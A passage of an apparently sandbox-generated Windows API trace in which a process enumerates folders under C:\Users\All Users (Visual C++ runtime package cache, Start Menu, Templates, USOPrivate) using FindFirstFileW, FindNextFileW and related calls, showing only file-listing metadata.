ftLastWriteTime.dwLowDateTime=0xea206900, ftLastWriteTime.dwHighDateTime=0x1cf3e1d, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0217.873] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea206900, ftCreationTime.dwHighDateTime=0x1cf3e1d, ftLastAccessTime.dwLowDateTime=0xea206900, ftLastAccessTime.dwHighDateTime=0x1cf3e1d, ftLastWriteTime.dwLowDateTime=0xea206900, ftLastWriteTime.dwHighDateTime=0x1cf3e1d, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0217.873] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0217.873] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpFilePart=0x0) returned 0x52 [0217.874] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388c0dea, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x388c34a7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x388c34a7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0218.090] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388c0dea, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x388c34a7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x388c34a7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.090] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388c34a7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x388c34a7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x388c34a7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0218.090] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388c34a7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x388c34a7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x388c34a7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0218.090] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0218.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0218.091] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpFilePart=0x0) returned 0x52 [0218.091] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388c0dea, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x388c34a7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x388c34a7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0218.092] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388c0dea, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x388c34a7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x388c34a7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.092] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388c34a7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x388c34a7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x388c34a7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0218.092] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0218.092] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0218.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0218.093] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", lpFilePart=0x0) returned 0x5b [0218.093] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388c34a7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x388c34a7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x388c34a7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0218.094] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388c34a7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x388c34a7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x388c34a7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.094] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388c34a7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x388e9a80, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x388e9a80, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0218.094] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388c34a7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x388e9a80, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x388e9a80, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0218.094] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0218.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0218.095] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", lpFilePart=0x0) returned 0x5b [0218.095] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388c34a7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x388c34a7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x388c34a7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0218.096] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388c34a7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x388c34a7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x388c34a7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.096] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388c34a7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x388e9a80, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x388e9a80, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0218.096] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0218.096] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0218.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0218.097] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x73 [0218.097] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388c34a7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x388e9a80, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x388e9a80, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0218.098] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388c34a7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x388e9a80, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x388e9a80, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.098] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa960e00, ftCreationTime.dwHighDateTime=0x1ced524, ftLastAccessTime.dwLowDateTime=0xfa960e00, ftLastAccessTime.dwHighDateTime=0x1ced524, ftLastWriteTime.dwLowDateTime=0xfa960e00, ftLastWriteTime.dwHighDateTime=0x1ced524, nFileSizeHigh=0x0, nFileSizeLow=0x4ea418, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0218.098] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8210100, ftCreationTime.dwHighDateTime=0x1ced525, ftLastAccessTime.dwLowDateTime=0xb8210100, ftLastAccessTime.dwHighDateTime=0x1ced525, ftLastWriteTime.dwLowDateTime=0xb8210100, ftLastWriteTime.dwHighDateTime=0x1ced525, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0218.099] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0218.099] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0218.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0218.099] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x73 [0218.099] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388c34a7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x388e9a80, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x388e9a80, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5770 [0218.100] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388c34a7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x388e9a80, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x388e9a80, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.100] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa960e00, ftCreationTime.dwHighDateTime=0x1ced524, ftLastAccessTime.dwLowDateTime=0xfa960e00, ftLastAccessTime.dwHighDateTime=0x1ced524, ftLastWriteTime.dwLowDateTime=0xfa960e00, ftLastWriteTime.dwHighDateTime=0x1ced524, nFileSizeHigh=0x0, nFileSizeLow=0x4ea418, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0218.100] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8210100, ftCreationTime.dwHighDateTime=0x1ced525, ftLastAccessTime.dwLowDateTime=0xb8210100, ftLastAccessTime.dwHighDateTime=0x1ced525, ftLastWriteTime.dwLowDateTime=0xb8210100, ftLastWriteTime.dwHighDateTime=0x1ced525, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0218.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0218.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0218.307] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Start Menu", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Start Menu", lpFilePart=0x0) returned 0x1d [0218.308] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Start Menu\\*" (normalized: "c:\\users\\all users\\start menu\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0218.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0218.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0218.310] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Templates", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Templates", lpFilePart=0x0) returned 0x1c [0218.310] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Templates\\*" (normalized: "c:\\users\\all users\\templates\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0218.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0218.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0218.313] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Templates", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Templates", lpFilePart=0x0) returned 0x1c [0218.313] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Templates\\*" (normalized: "c:\\users\\all users\\templates\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0218.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0218.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0218.315] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOPrivate", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOPrivate", lpFilePart=0x0) returned 0x1d [0218.315] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\*" (normalized: "c:\\users\\all users\\usoprivate\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf99491c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf99491c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0218.316] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf99491c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf99491c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.316] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99491c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xea3e4964, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xea3e4964, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateStore", cAlternateFileName="UPDATE~1")) returned 1 [0218.316] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99491c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xea3e4964, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xea3e4964, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateStore", cAlternateFileName="UPDATE~1")) returned 0 [0218.316] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0218.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0218.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0218.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0218.317] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOPrivate", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOPrivate", lpFilePart=0x0) returned 0x1d [0218.317] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\*" (normalized: "c:\\users\\all users\\usoprivate\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf99491c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf99491c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0218.317] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: 